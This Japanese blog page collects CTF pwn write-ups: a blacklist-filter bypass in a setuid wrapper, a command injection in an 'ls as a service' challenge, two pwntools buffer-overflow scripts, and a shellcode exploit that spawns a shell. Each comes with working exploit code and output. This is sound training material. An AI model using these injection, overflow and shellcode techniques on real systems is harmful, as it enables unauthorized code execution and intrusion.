Pwn

Securinets CTF Quals 2019 writeup Welcome

Welcome

703

Unlike other CTFs we build a custom welcome for u \o/

Your goal is to execute welcome binary ssh welcome@51.254.114.246

password : bc09c4a0a957b3c6d8adbb47ab0419f7

Author : Anis_Boss

sshで接続します。まずlsコマンドを実行してみます。flag.txtやwrapperプログラムがあります。wrapperプログラムを通してパーミッションの無いflag.txtを参照すればよさそうです。
$ ls -al
total 56
dr-xr-xr-x  2 welcome         welcome          4096 Mar 23 20:23 .
drwxr-xr-x 22 root            root             4096 Mar 23 23:03 ..
-rw-r--r--  1 root            root                0 Mar 24 07:25 .bash_history
-rw-r--r--  1 welcome         welcome             0 Mar 24 00:22 .bash_logout
-rw-r--r--  1 welcome         welcome          3812 Mar 24 04:46 .bashrc
-rw-r--r--  1 welcome         welcome           655 May 16  2017 .profile
-r--------  1 welcome-cracked welcome-cracked    76 Mar 23 20:23 flag.txt
-r--------  1 welcome-cracked welcome          8712 Mar 23 19:09 welcome
-rw-r-----  1 root            root              175 Mar 23 12:27 welcome.c
-r-s--x---  1 welcome-cracked welcome         13088 Mar 23 20:13 wrapper
-rw-r--r--  1 root            root             1741 Mar 23 20:13 wrapper.c
wrapper.cを見てみます。
$ cat wrapper.c
/* author : Anis_Boss */
#include <stdio.h>



int search(char str[], char word[])
{
    int l, i, j;
    /*length of word */
   for (l = 0; word[l] != '\0'; l++);
    for (i = 0, j = 0; str[i] != '\0' && word[j] != '\0'; i++)
    {
        if (str[i] == word[j])
        {
            j++;
        }
        else
        {
            j = 0;
        }
    }
    if (j == l)
    {
        /* substring found */
        return (i - j);
    }
    else
    {
        return  - 1;
    }
}

int delete_word(char str[], char word[], int index)
{
    int i, l;
    /* length of word */
    for (l = 0; word[l] != '\0'; l++);

    for (i = index; str[i] != '\0'; i++)
    {
        str[i] = str[i + l + 1];
    }
}

void main(int argc, char* argv[])
{
char * blacklist[]={"cat","head","less","more","cp","man","scp","xxd","dd","od","python","perl","ruby","tac","rev","xz","tar","zip","gzip","mv","flag","txt","python","perl","vi","vim","nano","pico","awk","grep","egrep","echo","find","exec","eval","regexp","tail","head","less","cut","tr","pg","du","`","$","(",")","#","bzip2","cmp","split","paste","diff","fgrep","gawk","iconv","ln","most","open","print","read","{","}","sort","uniq","tee","wget","nc","hexdump","HOSTTYPE","$","arch","env","tmp","dev","shm","lock","run","var","snap","nano","read","readlink","zcat","tailf","zcmp","zdiff","zegrep","zdiff"};


 char str[80], word[50];
    int index;
    printf("Welcome to Securinets Quals CTF \o/ \n");
    printf("Enter string:\n");
    read(0,str,79);
for (int i=0;i<sizeof(blacklist)/sizeof(blacklist[0]);i++)
{
    index = search(str, blacklist[i]);

    if (index !=  - 1)
    {
        delete_word(str, blacklist[i], index);
    }

}
setreuid(geteuid(),geteuid());
close(0);
system(str);
}
入力文字列からblacklistに設定された単語を削除してコマンドの実行を防いでいるようですが、同じ単語に関しては最初に登場した単語しか削除していないように見えます。ためしにlsコマンドを2回入力してみます。lsコマンドが効きました。
$ ./wrapper
Welcome to Securinets Quals CTF o/ 
Enter string:
ls | ls
flag.txt  welcome  welcome.c  wrapper  wrapper.c
それではcatコマンドでflag.txtを参照します。
$ ./wrapper
Welcome to Securinets Quals CTF o/ 
Enter string:
cat cat flag flag.txt txt
securinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}
フラグは、
securinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}

TAMUctf 19 writeup Pwn4

Pwn4

287

nc pwn.tamuctf.com 4324

Difficulty: medium

接続してみます。
$ nc pwn.tamuctf.com 4324
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
lsコマンドのパラメータを要求しているようなので、.(ドット)を入力してみます。
.
Result of ls .:
flag.txt
pwn4
カレントディレクトリにflag.txtファイルがあることが分かります。パイプでつないでcatコマンドで見てみます。
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
. | cat flag.txt
Result of ls . | cat flag.txt:
gigem{5y573m_0v3rfl0w}
フラグが表示されました。
フラグは、
gigem{5y573m_0v3rfl0w}
です。



TAMUctf 19 writeup Pwn1

Pwn1

297

nc pwn.tamuctf.com 4321

Difficulty: easy

ltraceコマンドで実行してみます。
$ ltrace ./pwn1 
(略)
puts("What... is your name?"What... is your name?
)                                             = 22
fgets(Sir Lancelot of Camelot
"Sir Lancelot of Camelot\n", 43, 0xf7eef5a0)                        = 0xff99b1fd
strcmp("Sir Lancelot of Camelot\n", "Sir Lancelot of Camelot\n")          = 0
puts("What... is your quest?"What... is your quest?
)                                            = 23
fgets(abc
"abc\n", 43, 0xf7eef5a0)                                            = 0xff99b1fd
strcmp("abc\n", "To seek the Holy Grail.\n")                              = 1
puts("I don't know that! Auuuuuuuugh!"I don't know that! Auuuuuuuugh!
)                                   = 32
exit(0 <no return ...>
+++ exited (status 0) +++
1つ目の入力では「Sir Lancelot of Camelot」と文字列比較しています。2つ目の入力では「To seek the Holy Grail.」と文字列比較していることが分かります。
次にobjdumpコマンドで逆アセンブルします。
$ objdump -s -D -M intel pwn1 >aaa.txt
以下の箇所でebp-0x3bに入力した文字列のebp-0x10と0xdea110c8を比較していることが分かります。
 8a6: 8d 45 c5              lea    eax,[ebp-0x3b] ###
 8a9: 50                    push   eax
 8aa: e8 71 fc ff ff        call   520 <gets@plt>
 8af: 83 c4 10              add    esp,0x10
 8b2: 81 7d f0 c8 10 a1 de cmp    DWORD PTR [ebp-0x10],0xdea110c8 ###
 8b9: 75 07                jne    8c2 <main+0x149>
 8bb: e8 3d fe ff ff        call   6fd <print_flag>
以上を行うPythonプログラムを書きます。
#!/usr/bin/env python2
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./pwn1')
else:
    p = remote('pwn.tamuctf.com', 4321)

p.recvuntil('What... is your name?\n')
p.sendline('Sir Lancelot of Camelot')

p.recvuntil('What... is your quest?')
p.sendline('To seek the Holy Grail.')

p.recvuntil('What... is my secret?')
p.sendline(
''
+ 'A' * (0x3b - 0x10)
+ p32(0xdea110c8)
)

p.recvall()
実行するとフラグを取得できます。
$ python aaa.py
[+] Opening connection to pwn.tamuctf.com on port 4321: Done
[DEBUG] Received 0x81 bytes:
    'Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.\n'
    'What... is your name?\n'
[DEBUG] Sent 0x18 bytes:
    'Sir Lancelot of Camelot\n'
[DEBUG] Received 0x17 bytes:
    'What... is your quest?\n'
[DEBUG] Sent 0x18 bytes:
    'To seek the Holy Grail.\n'
[DEBUG] Received 0x16 bytes:
    'What... is my secret?\n'
[DEBUG] Sent 0x30 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  41 41 41 c8  10 a1 de 0a  │AAAA│AAAA│AAA·│····│
    00000030
[+] Receiving all data: Done (50B)
[DEBUG] Received 0x31 bytes:
    'Right. Off you go.\n'
    'gigem{34sy_CC428ECD75A0D392}\n'
    '\n'
[*] Closed connection to pwn.tamuctf.com port 4321
フラグは、
gigem{34sy_CC428ECD75A0D392}
です。

図説 聖杯伝説 ~その起源と秘められた意味
マルコム・ゴドウィン
原書房
2010-04-28


TAMUctf 19 writeup Pwn2

Pwn2

360

nc pwn.tamuctf.com 4322

Difficulty: easy

objdumpコマンドで逆アセンブルします。
$ objdump -s -D -M intel pwn2 >aaa.txt
アドレス6d8に<print_flag>関数があります。また<select_func>関数のアドレス7d4でcall eaxとしているので、ここで<print_flag>を呼び出せないか調べてみます。
000006d8 <print_flag>:
(略)
0000077f <select_func>:
 77f: 55                    push   ebp
 780: 89 e5                mov    ebp,esp
 782: 53                    push   ebx
 783: 83 ec 34              sub    esp,0x34
 786: e8 25 fe ff ff        call   5b0 <__x86.get_pc_thunk.bx>
 78b: 81 c3 2d 18 00 00    add    ebx,0x182d
 791: 8d 83 f5 e6 ff ff    lea    eax,[ebx-0x190b] #<two>
 797: 89 45 f4              mov    DWORD PTR [ebp-0xc],eax
 79a: 83 ec 04              sub    esp,0x4
 79d: 6a 1f                push   0x1f
 79f: ff 75 08              push   DWORD PTR [ebp+0x8]
 7a2: 8d 45 d6              lea    eax,[ebp-0x2a] ####
 7a5: 50                    push   eax
 7a6: e8 a5 fd ff ff        call   550 <strncpy@plt>
 7ab: 83 c4 10              add    esp,0x10
 7ae: 83 ec 08              sub    esp,0x8
 7b1: 8d 83 8b e9 ff ff    lea    eax,[ebx-0x1675] #one
 7b7: 50                    push   eax
 7b8: 8d 45 d6              lea    eax,[ebp-0x2a] ####
 7bb: 50                    push   eax
 7bc: e8 0f fd ff ff        call   4d0 <strcmp@plt>
 7c1: 83 c4 10              add    esp,0x10
 7c4: 85 c0                test   eax,eax
 7c6: 75 09                jne    7d1 <select_func+0x52>
 7c8: 8d 83 9c e7 ff ff    lea    eax,[ebx-0x1864] #<one>
 7ce: 89 45 f4              mov    DWORD PTR [ebp-0xc],eax #
 7d1: 8b 45 f4              mov    eax,DWORD PTR [ebp-0xc]
 7d4: ff d0                call   eax
下記はgdbでアドレス7d1でブレークしたところです。このときebp-0xcの値は0x56555600となっています。00の部分をd8に書き換えることができれば<print_flag>を呼び出せます。アドレス7a2でebp-0x2aの位置に入力文字列をコピーしていますので上書きできそうです。
[----------------------------------registers-----------------------------------]
EAX: 0xffffffff 
EBX: 0x56556fb8 --> 0x1ec0 
ECX: 0x6f ('o')
EDX: 0xffffcdae --> 0x61 ('a')
ESI: 0xf7fb3000 --> 0x1b1db0 
EDI: 0xf7fb3000 --> 0x1b1db0 
EBP: 0xffffcdd8 --> 0xffffce18 --> 0x0 
ESP: 0xffffcda0 --> 0x0 
EIP: 0x565557d1 (<select_func+82>: mov    eax,DWORD PTR [ebp-0xc])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565557c6 <select_func+71>: jne    0x565557d1 <select_func+82>
   0x565557c8 <select_func+73>: lea    eax,[ebx-0x1864]
   0x565557ce <select_func+79>: mov    DWORD PTR [ebp-0xc],eax
=> 0x565557d1 <select_func+82>: mov    eax,DWORD PTR [ebp-0xc]
   0x565557d4 <select_func+85>: call   eax
   0x565557d6 <select_func+87>: nop
   0x565557d7 <select_func+88>: mov    ebx,DWORD PTR [ebp-0x4]
   0x565557da <select_func+91>: leave
[------------------------------------stack-------------------------------------]
0000| 0xffffcda0 --> 0x0 
0004| 0xffffcda4 --> 0xa ('\n')
0008| 0xffffcda8 --> 0x26 ('&')
0012| 0xffffcdac --> 0x61ff0a 
0016| 0xffffcdb0 --> 0x0 
0020| 0xffffcdb4 --> 0x0 
0024| 0xffffcdb8 --> 0x0 
0028| 0xffffcdbc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x565557d1 in select_func ()
gdb-peda$ x/10xw 0xffffcdd8-0xc
0xffffcdcc: 0x56555600 0xf7fb3000 0x56556fb8 0xffffce18
0xffffcddc: 0x5655583d 0xffffcdf1 0x00000002 0x00000000
0xffffcdec: 0x00000000 0x00006101
以上よりPythonプログラムを書きます。
#!/usr/bin/env python2
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./pwn2')
else:
    p = remote('pwn.tamuctf.com', 4322)

p.recvuntil('Which function would you like to call?\n')
p.sendline(
''
+ 'A' * (0x2a - 0xc)
+ p8(0xd8)
)

p.recvall()
実行するとフラグを取得できます。
$ python aaa.py
[+] Opening connection to pwn.tamuctf.com on port 4322: Done
[DEBUG] Received 0x27 bytes:
    'Which function would you like to call?\n'
[DEBUG] Sent 0x20 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 d8 0a  │AAAA│AAAA│AAAA│AA··│
    00000020
[+] Receiving all data: Done (70B)
[DEBUG] Received 0x2a bytes:
    'This function is still under development.\n'
[DEBUG] Received 0x1c bytes:
    'gigem{4ll_17_74k35_15_0n3}\n'
    '\n'
[*] Closed connection to pwn.tamuctf.com port 4322
フラグは、
gigem{4ll_17_74k35_15_0n3}

CSAW CTF Qualification Round 2017 writeup pilot

Pwn
pilot

Can I take your order?

nc pwn.chal.csaw.io 8464

16:05 Eastern: Updated binary

fileコマンドでダウンロードしたファイルのファイルタイプを確認してみます。64bitのLinux実行ファイルです。
$ file pilot 
pilot: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
checksecスクリプトでこの実行ファイルのセキュリティを確認します。canary無し、NX無効なのでスタックオーバーフローの脆弱性をついてシェルコードを埋め込むことができそうです。
$ checksec.sh --file pilot 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   pilot
objdumpコマンドで逆アセンブルして詳細な処理を確認します。
$ objdump -s -D pilot > aaa.txt
400aa4~400aaeの部分でrbp-0x20の値を出力しています。この値はLocation:の後ろの部分に出力されます。400acf~400ae0の部分でユーザからの入力をバッファに読み込んでいます。読込先のアドレスはrbp-0x20で64バイト分読み込んでいます。ここでシェルコードを注入してバッファオーバーフローを起こし400b35のretでの戻り先に注入したシェルコードの先頭アドレスを設定できれば良さそうです。
  400a92: be 77 0d 40 00       mov    $0x400d77,%esi #[*]Location:
  400a97: bf a0 20 60 00       mov    $0x6020a0,%edi
  400a9c: e8 bf fd ff ff       callq  400860 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  400aa1: 48 89 c2             mov    %rax,%rdx
  400aa4: 48 8d 45 e0           lea    -0x20(%rbp),%rax
  400aa8: 48 89 c6             mov    %rax,%rsi
  400aab: 48 89 d7             mov    %rdx,%rdi
  400aae: e8 bd fd ff ff       callq  400870 <_ZNSolsEPKv@plt>
  400ab3: be 90 08 40 00       mov    $0x400890,%esi
  400ab8: 48 89 c7             mov    %rax,%rdi
  400abb: e8 c0 fd ff ff       callq  400880 <_ZNSolsEPFRSoS_E@plt>
  400ac0: be 84 0d 40 00       mov    $0x400d84,%esi #[*]Command:
  400ac5: bf a0 20 60 00       mov    $0x6020a0,%edi
  400aca: e8 91 fd ff ff       callq  400860 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  400acf: 48 8d 45 e0           lea    -0x20(%rbp),%rax
  400ad3: ba 40 00 00 00       mov    $0x40,%edx #読み込みサイズ(64バイト)
  400ad8: 48 89 c6             mov    %rax,%rsi   #読込先バッファ(rbp-0x20)
  400adb: bf 00 00 00 00       mov    $0x0,%edi  #ファイルディスクリプタ(0)
  400ae0: e8 3b fd ff ff       callq  400820 <read@plt>
(略)
  400b2f: b8 00 00 00 00       mov    $0x0,%eax
  400b34: c9                   leaveq 
  400b35: c3                   retq   
指示されたサーバに接続してみます。[*]Locatin:の後に出力されている16進数値が読み込み先のアドレスになります。
>nc.exe pwn.chal.csaw.io 8464
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions t
o save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffd160ba730
[*]Command:

下図のようにスタックを上書きします。
1

以上を踏まえて、Pythonでエクスプロイトコードを書きます。
#!/usr/bin/env python2
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./pilot')
else:
    p = remote('pwn.chal.csaw.io', 8464)

context(os='linux', arch='amd64')
shellcode = asm(shellcraft.sh())

p.recvuntil('[*]Good Luck Pilot!....\n')
loc = p.recvline()
print(loc)
ary = loc.split(':')
p.recvuntil('[*]Command:')
p.send(
''
+ shellcode
+ 'A' * (40 - len(shellcode))
+ p64(int(ary[1], 0))
)
time.sleep(0.1)
p.interactive()
実行すると次のとおりフラグを得ることができました。
$ python aaa.py
(略)
[DEBUG] Received 0x174 bytes:
    '[*]Welcome DropShip Pilot...\n'
    '[*]I am your assitant A.I....\n'
    '[*]I will be guiding you through the tutorial....\n'
    '[*]As a first step, lets learn how to land at the designated location....\n'
    '[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n'
    '[*]Good Luck Pilot!....\n'
    '[*]Location:0x7ffd45748a50\n'
    '[*]Command:'
[*]Location:0x7ffd45748a50

[DEBUG] Sent 0x30 bytes:
    00000000  6a 68 48 b8  2f 62 69 6e  2f 2f 2f 73  50 48 89 e7  │jhH·│/bin│///s│PH··│
    00000010  31 f6 6a 3b  58 99 0f 05  41 41 41 41  41 41 41 41  │1·j;│X···│AAAA│AAAA│
    00000020  41 41 41 41  41 41 41 41  50 8a 74 45  fd 7f 00 00  │AAAA│AAAA│P·tE│····│
    00000030
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0xb bytes:
    'flag\n'
    'pilot\n'
flag
pilot
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x31 bytes:
    'flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}\n'
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}
フラグは、
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}
記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー